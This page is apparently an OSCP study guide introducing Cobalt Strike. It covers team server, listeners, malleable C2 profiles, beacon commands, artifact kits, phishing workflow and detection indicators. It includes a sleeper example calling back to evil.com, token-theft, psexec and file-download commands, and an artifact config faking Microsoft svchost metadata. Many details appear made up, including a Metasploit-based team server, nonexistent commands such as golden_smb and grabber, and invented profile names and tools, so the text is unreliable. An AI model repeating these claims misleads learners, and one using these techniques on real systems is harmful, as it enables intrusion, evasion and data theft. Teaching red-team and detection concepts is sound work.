Domain 3Exploit Dev & AV EvasionCORE

Cobalt Strike Basics

Introduction to Cobalt Strike for OSCP students covering architecture, team server, listeners, beacons, malleable C2 profiles, artifact kits, and common beacon commands for post-exploitation.

Domain: Domain 3: Exploit Mechanics & AV Evasion•Updated: 2026-09-01
#cobalt-strike#c2#beacon#malleable-c2#red-team

Cobalt Strike Basics

What is Cobalt Strike?

Cobalt Strike is a commercial adversary simulation and red team operations platform built on top of the Metasploit Framework. It provides a complete command-and-control (C2) infrastructure for post-exploitation operations. Think of it as the “Swiss Army knife” for red teamers — it combines payload generation, C2 communication, lateral movement, privilege escalation, and reporting into a single cohesive platform.

Key characteristics:

  • Commercial product — costs ~$10,000+/year (not free, but widely used in the industry)
  • Built on Metasploit — the Team Server runs a modified Metasploit instance
  • Post-exploitation focused — excels at what happens after initial access
  • Team-based — supports multiple operators working simultaneously via the Aggressor Console
  • Modular — extends via malleable C2 profiles, artifact kits, and Aggressor scripts (.script files)

OSCP Note: Cobalt Strike is NOT allowed on the OSCP exam. However, understanding its architecture and concepts is invaluable for real-world red teaming and for understanding how C2 frameworks operate.


Architecture

Cobalt Strike has a client-server architecture with four main components:

┌─────────────────┐         ┌──────────────────┐         ┌─────────────┐
│  Aggressor      │◄────────│  Team Server     │────────►│  Beacons    │
│  Console(s)     │  RDP/   │  (Linux VM)      │  C2     │  (on Target)│
│  (Operator UI)  │  Direct │                  │  Proto  │             │
└─────────────────┘  Connect │  - Metasploit    │         └─────────────┘
                             │  - PostgreSQL    │              │
                             │  - C2 HTTP Server │◄─────────────┘
                             │  - Team Server    │     Beacon check-ins
                             └──────────────────┘

Team Server

  • The central brain — a Linux-based server running Metasploit, PostgreSQL, and the C2 HTTP server
  • Hosted on a VPS or cloud instance (requires Java 11+)
  • Stores all session data, credentials, and task history in PostgreSQL
  • Started with: ./teamserver <IP> <password> [license]

Aggressor Console

  • The operator’s GUI — a Java-based client that connects to the Team Server
  • Multiple operators can connect simultaneously (team operations)
  • Supports custom scripts via .script files (Aggressor Script language)
  • All C2 operations, payload generation, and post-exploitation happen here

Beacons

  • The implant deployed on target systems — a modular, post-exploitation agent
  • Communicates back to the Team Server (or a C2 proxy) using configurable protocols
  • Supports process migration, token manipulation, lateral movement, and more
  • Written in C, available as x86 and x64 payloads

Targets

  • The victim machines where Beacons are deployed
  • Beacons operate with the privileges of their hosting process

Key Concepts

Term Definition
Team Server Central C2 infrastructure running Metasploit + PostgreSQL
Listener Configuration defining how Beacons communicate back (protocol, host, port)
Beacon The implant/agent running on a compromised host
Payload The initial delivery mechanism (EXE, DLL, script, etc.) that deploys a Beacon
Sleeper A Beacon compiled with a hardcoded C2 URL (no Listener needed, but less flexible)
Malleable C2 Profile A configuration file that customizes Beacon’s network traffic to mimic legitimate traffic
Artifact Kit A custom compiler configuration for generating payloads with modified characteristics

Listener Types

Listeners define how Beacons communicate with the Team Server. Each Listener uses a specific protocol:

HTTP/S Listener (Most Common)

  • Protocol: HTTP or HTTPS over TCP 80/443
  • Why it works: Blends with normal web traffic, passes most firewalls
  • Configuration:
    • Set host (IP/hostname of Team Server or C2 proxy)
    • Set port (80 for HTTP, 443 for HTTPS)
    • HTTPS requires a valid certificate for best evasion
    • Supports malleable C2 profiles for traffic customization

DNS Listener

  • Protocol: DNS queries/responses over UDP 53
  • Use case: When HTTP/S is blocked but DNS is allowed
  • Limitation: Slower (data encoded in DNS labels, max 63 chars per label)
  • Configuration: Requires a DNS server that forwards queries to the Team Server

SMB Listener

  • Protocol: SMB named pipe communication
  • Use case: Internal pivoting, lateral movement within a network
  • Limitation: Requires SMB access (firewall rules, network connectivity)
  • Note: Beacons use SMB to communicate with each other for lateral movement

TCP Listener

  • Protocol: Raw TCP socket communication
  • Use case: Custom C2 channels, when HTTP is blocked
  • Configuration: Specify port, can be combined with encryption

Multi/SSL Listener

  • Protocol: Multiple protocols over a single encrypted channel
  • Use case: Advanced evasion, when you need protocol flexibility
  • Configuration: Uses SSL/TLS encryption for the channel

Practical tip: For OSCP-style environments, HTTP/S listeners are your best bet. They work through most firewalls and are the easiest to set up.


Malleable C2 Profiles

Malleable C2 profiles are the most powerful evasion feature in Cobalt Strike. They let you customize every aspect of Beacon’s network traffic to mimic legitimate applications.

What They Do

  • Customize URI paths, HTTP methods, and headers
  • Modify request/response structure to match a legitimate service
  • Add jitter, user-agent rotation, and domain fronting
  • Shape traffic patterns to avoid behavioral detection

How to Load a Profile

# In the Aggressor Console
# Attacks > Scripts > scriptmanager > Load a .cna profile

# Or via command line when starting Team Server
./teamserver <IP> <password> <license> <profile.cna>

Profile Structure Example

# Basic malleable C2 profile structure
profile {

    # Set the user-agent to mimic a real browser
    set user_agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";

    # Define the C2 traffic behavior
    http-get {
        set uri "/css/styles.css";

        client {
            # How the beacon sends its request
            metadata {
                # Embed beacon data in the URI or header
                base64;
                prepend "SESSIONID=";
                header "Cookie";
            }
        }

        server {
            # How the Team Server responds
            header "Content-Type" "text/css";
            header "Server" "nginx/1.18.0";
            output {
                print;
            }
        }
    }

    http-post {
        set uri "/api/data";

        client {
            # How the beacon sends data back
            id {
                base64;
                prepend "req=";
                header "X-Request-ID";
            }

            parameter "action" "submit";

            output {
                base64;
                print;
            }
        }

        server {
            header "Content-Type" "application/json";
            output {
                print;
            }
        }
    }
}

Key Profile Directives

Directive Purpose
set user_agent Customize the HTTP User-Agent header
set uri Define the URI path for C2 communication
header Add/modify HTTP headers in requests or responses
metadata How beacon data is encoded and transmitted
parameter Add POST parameters to requests
client / server Block defining beacon-side vs server-side behavior
output How the server formats its response
print Output the raw data
base64 Encode data as Base64

Traffic Shaping Techniques

# Add jitter to beacon callbacks (randomize timing)
set jitter "10";  # 10% jitter on callback time

# Rotate user agents
set user_agent [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"
];

# Domain fronting support
set trusted_proxies [ "cdn.example.com", "static.example.net" ];
  • linus — Mimics various legitimate services
  • maroonize — Advanced traffic shaping with multiple techniques
  • normal_jekyll — Profile generator with GUI
  • C2lint — Linter for validating malleable C2 profiles

Exam tip: While you won’t use Cobalt Strike on OSCP, understanding malleable C2 concepts helps you understand how attackers evade detection — knowledge that’s useful for the OSWP (Wireless) and OSCE (Expert) exams.


Beacon Types

Beacons are the implants that run on compromised hosts. They come in different flavors:

SMB Beacon

  • Communication: SMB named pipes
  • Use case: Internal networks, lateral movement
  • Pros: Fast, reliable on internal networks
  • Cons: Requires SMB access, easily detected on perimeter
  • Callback: Pushes data directly to the Team Server via SMB

HTTP/S Beacon (Most Common)

  • Communication: HTTP/HTTPS requests
  • Use case: General-purpose, works through firewalls
  • Pros: Blends with web traffic, configurable via malleable C2
  • Cons: Requires outbound HTTP access
  • Callback: Periodic polling (default: 60 seconds, configurable)

DNS Beacon

  • Communication: DNS queries
  • Use case: When only DNS is allowed outbound
  • Pros: Works through almost any firewall
  • Cons: Slow, limited bandwidth, easily flagged by DNS monitoring
  • Callback: Data encoded in DNS subdomain queries

Beacon Characteristics

Feature SMB HTTP/S DNS
Speed Fast Medium Slow
Evasion Poor Good (with malleable C2) Moderate
Bandwidth High High Low
Firewall friendly No Yes Yes
Best for Internal General Restricted networks

Beacon Commands Reference

Beacon commands are the core of post-exploitation in Cobalt Strike. Here’s a comprehensive reference:

Process & System Commands

Command Syntax Description
shell shell <command> Execute a command via cmd.exe and return output
execute-assembly execute-assembly <path_to_dll> Run a .NET assembly in-memory (no disk write)
ps ps List all running processes (like tasklist)
pid pid Show the current Beacon’s process ID
migrate migrate <pid> Move Beacon to another process for stability
steal_token steal_token <pid> Steal the access token from a process
impersonate_token impersonate_token <token_id> Impersonate a stolen token
rev2self rev2self Revert to the Beacon’s original token
runas runas <token_id> <command> Run a command using a specific token

Network & Reconnaissance Commands

Command Syntax Description
socks socks <port> Start a SOCKS proxy on the Team Server
portscan portscan <targets> <ports> Scan ports on target systems
dns dns <domain> <type> Perform DNS queries from the Beacon
arp_scanner arp_scanner <subnet> Discover hosts via ARP on a subnet
net view net view List visible systems in the domain

Credential & Lateral Movement Commands

Command Syntax Description
golden_smb golden_smb <user> <domain> <pid> <checksum> <key> Pass-the-hash via SMB using a golden ticket
silver_smb silver_smb <user> <domain> <pid> <lm_hash> <ntlm_hash> Pass-the-hash via SMB
psexec psexec <target> [listener] Execute a payload on a remote system via admin$
wmi wmi <target> [listener] Execute a payload on a remote system via WMI
ssh ssh <user>@<target> <key_or_password> Connect to a remote system via SSH
spawnas spawnas <domain/user:password> [arch] [listener] Spawn a new process with different credentials
dcsync dcsync <domain> <user> Extract credentials via DCSync (requires DA)

Data Exfiltration Commands

Command Syntax Description
download download <remote_path> [local_path] Download a file from the target
upload upload <local_path> [remote_path] Upload a file to the target
grabber grabber Collect sensitive data (browser creds, etc.)

Practical Command Examples

# Execute a system command
beacon > shell whoami
beacon > shell ipconfig /all

# Check running processes and migrate
beacon > ps
beacon > migrate 4321

# Steal a high-privilege token
beacon > steal_token 800
beacon > shell whoami    # Should show elevated user

# Start a SOCKS proxy for external tool access
beacon > socks 1080
# Then configure external tools (Nmap, Metasploit) to use 127.0.0.1:1080

# Lateral movement via psexec
beacon > psexec 192.168.1.50 http-listener

# Port scan from the Beacon's perspective
beacon > portscan 192.168.1.0/24 22,80,443,3389

# Download sensitive files
beacon > download C:\Users\Target\Documents\secret.docx

Payload Generation

Cobalt Strike generates payloads through the Attacks menu:

Attack Vectors

  • Web Drive-by — Host a malicious webpage that delivers payloads
  • Social Engineering — Create launcher files and delivery mechanisms
  • Extensible — Custom attack methods via Aggressor scripts

Payload Types

  • Windows Executable (x86/x64) — Standard EXE payloads
  • Windows DLL (x86/x64) — DLL payloads for sideloading
  • Windows Script — PowerShell, VBS, JS payloads
  • Linux Executable — Cross-platform support
  • Python — Python-based Beacon implant
  • Shellcode — Raw shellcode for custom delivery

Generating a Payload

# Via the Aggressor Console GUI
Attacks > Packages > Windows Executable (x86)
  - Select Listener
  - Set format (EXE, SFX, etc.)
  - Generate

# Via the command line (Aggressor Script)
generate <output_path> <listener_name> <format>

Sleepers

A Sleeper is a Beacon compiled with a hardcoded C2 URL:

# Generate a sleeper
sleeper <output_path> <c2_url> <sleep_time> <jitter>

# Example
sleeper /tmp/beacon.exe https://evil.com/update 60 10
  • Advantage: No Listener needed, works independently
  • Disadvantage: C2 URL is hardcoded, less flexible

Artifact Kits

Artifact Kits let you customize the compiler used to build Cobalt Strike payloads, changing their characteristics to evade detection.

What They Modify

  • Compiler version and flags
  • Linked libraries and imports
  • PE header information (timestamps, company name, product name)
  • Code signing (if you have a certificate)
  • Anti-debugging and anti-VM techniques

Creating an Artifact Kit

# Via the Aggressor Console
# Attacks > Artifact Kits > Manage

# Or via command
artifactkit <name> <compiler_config>

Example Artifact Kit Configuration

# artifactkit.conf
set compiler "x86";
set linkerswitches "/ENTRY:main /SUBSYSTEM:CONSOLE";
set manifest "custom.manifest";

# Modify PE metadata
set company_name "Microsoft Corporation";
set product_name "Windows Update";
set file_description "System Update Component";
set internal_name "svchost";
set original_filename "svchost.exe";

Why Use Artifact Kits?

  • AV Evasion: Different compiler signatures bypass signature-based detection
  • Legitimacy: Fake metadata makes payloads look like legitimate software
  • Customization: Add custom anti-analysis techniques

Note: Artifact Kits require access to a Windows build environment with Visual Studio or compatible compilers.


Social Engineering Toolkit Integration

Cobalt Strike includes social engineering capabilities for phishing and credential harvesting:

Web Attack Delivery

  • Credential Harvester — Clone a login page and capture credentials
  • Credential Phishing — Capture creds and redirect to the real site
  • Binary Plant — Drop a malicious binary on the web server
  • Web Drive-by — Exploit browser vulnerabilities to deliver payloads

Launcher Files

  • SFX Archive — Self-extracting archive containing the payload
  • HTML Application (HTA) — Windows HTA that downloads and runs the payload
  • JavaScript — JS script that downloads and executes the payload
  • Windows Script — VBS/WSF script for payload delivery

Phishing Workflow

1. Set up a Listener (HTTP/S)
2. Attacks > Web Attack > Choose delivery method
3. Configure the site clone (target URL)
4. Set the payload (Beacon via Listener)
5. Generate the phishing URL
6. Send to targets

Cobalt Strike vs OSCP

What You CAN’T Do

  • Cobalt Strike is NOT allowed on the OSCP exam — it’s explicitly prohibited
  • The exam focuses on manual exploitation and post-exploitation using allowed tools
  • Using Cobalt Strike would result in disqualification

What You CAN Learn

  • C2 architecture concepts — Understanding how Beacons work helps you understand reverse shells
  • Post-exploitation techniques — Token manipulation, process migration, lateral movement
  • Evasion strategies — Malleable C2 concepts apply to custom C2 development
  • Red team methodology — The workflow and mindset transfer directly

OSCP-Allowed Alternatives

Cobalt Strike Feature OSCP Alternative
Beacon C2 Reverse shells (netcat, PowerShell, Python)
Payload generation msfvenom, custom shellcode
Lateral movement psexec.py, wmiexec.py, ssh
Credential dumping mimikatz, secretsdump.py
Port scanning nmap, netcat
SOCKS proxy chisel, Ligolo, ssh dynamic port forwarding

Detection of Cobalt Strike

Understanding how Cobalt Strike is detected is crucial for both red and blue team operations:

Network Indicators

  • Default User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2) — easily spotted
  • Default URI patterns: /css/, /images/, /api/ — common in default profiles
  • Beacon callback timing: Regular intervals (default 60s) with predictable patterns
  • HTTP headers: Missing or unusual headers (X-Forwarded-For, Accept-Language)
  • TLS fingerprints: JA3/JA4 signatures for default Cobalt Strike TLS traffic

Host-Based Indicators

  • Process injection: Beacon uses process hollowing and reflective DLL injection
  • Token manipulation: Unusual token theft and impersonation patterns
  • Named pipes: SMB Beacons create specific named pipe patterns
  • Registry artifacts: Beacon may leave traces in registry keys
  • File system: Payloads dropped in temp directories

Detection Tools

  • Sigma rules — Community-maintained detection rules for SIEM systems
  • Cobalt Strike Beacon detection scripts — PowerShell scripts that hunt for Beacon artifacts
  • Network IDS/IPS — Suricata, Snort rules for default C2 traffic
  • EDR solutions — CrowdStrike, SentinelOne, Microsoft Defender detect Beacon behavior

Evasion Strategies

  1. Use malleable C2 profiles — Customize traffic to look legitimate
  2. Change callback times — Add jitter, use non-standard intervals
  3. Process migration — Move to legitimate processes (svchost, explorer)
  4. Token manipulation — Use legitimate tokens instead of creating new ones
  5. Avoid default settings — Never use default User-Agent, URIs, or headers

Practical Tips

For Learning (Not Exam)

  1. Get a lab environment — Try the Cobalt Strike trial (30-day free trial available)
  2. Start with HTTP/S listeners — Easiest to set up and debug
  3. Practice malleable C2 — Use C2lint to validate profiles before deploying
  4. Learn Aggressor Script — Automate repetitive tasks with custom scripts
  5. Study the documentation — Cobalt Strike has excellent built-in help

Common Mistakes

  • Forgetting to set a Listener — Payloads won’t work without a configured Listener
  • Using default profiles — Default traffic is easily detected
  • Not migrating processes — Beacons in unstable processes will die
  • Ignoring token context — Commands run with the wrong privileges will fail
  • Leaving Beacons running — Always clean up after engagements

Beacon Command Cheat Sheet

# Quick reference for common operations
beacon > shell whoami              # Check current user
beacon > ps                        # List processes
beacon > migrate <pid>             # Move to stable process
beacon > steal_token <pid>         # Steal elevated token
beacon > socks 1080                # Start SOCKS proxy
beacon > portscan <target> <ports> # Scan from Beacon
beacon > download <path>          # Exfiltrate files
beacon > upload <local> <remote>   # Deploy tools
beacon > psexec <target> <listener> # Lateral movement
beacon > rev2self                  # Revert to original token
  • Cobalt Strike Documentation — Official docs at help.cobaltstrike.com
  • Rasta Mouse Blog — Advanced Cobalt Strike techniques
  • Cobalt Strike Blog — Official blog with tips and updates
  • C2lint — Malleable C2 profile linter: github.com/LeastPrivilege/C2lint
  • normal_jekyll — Profile generator: github.com/threatexpress/malleable-c2

Summary

Cobalt Strike is the industry-standard red team platform for post-exploitation operations. While not allowed on the OSCP exam, understanding its architecture — Team Server, Listeners, Beacons, malleable C2 profiles, and Artifact Kits — provides invaluable insight into how modern C2 frameworks operate. The beacon commands cover the full spectrum of post-exploitation: from basic reconnaissance (ps, shell) to advanced lateral movement (psexec, wmi, golden_smb) and credential manipulation (steal_token, impersonate_token). Focus on understanding the concepts rather than memorizing commands — the methodology transfers to any C2 framework you’ll encounter in your career.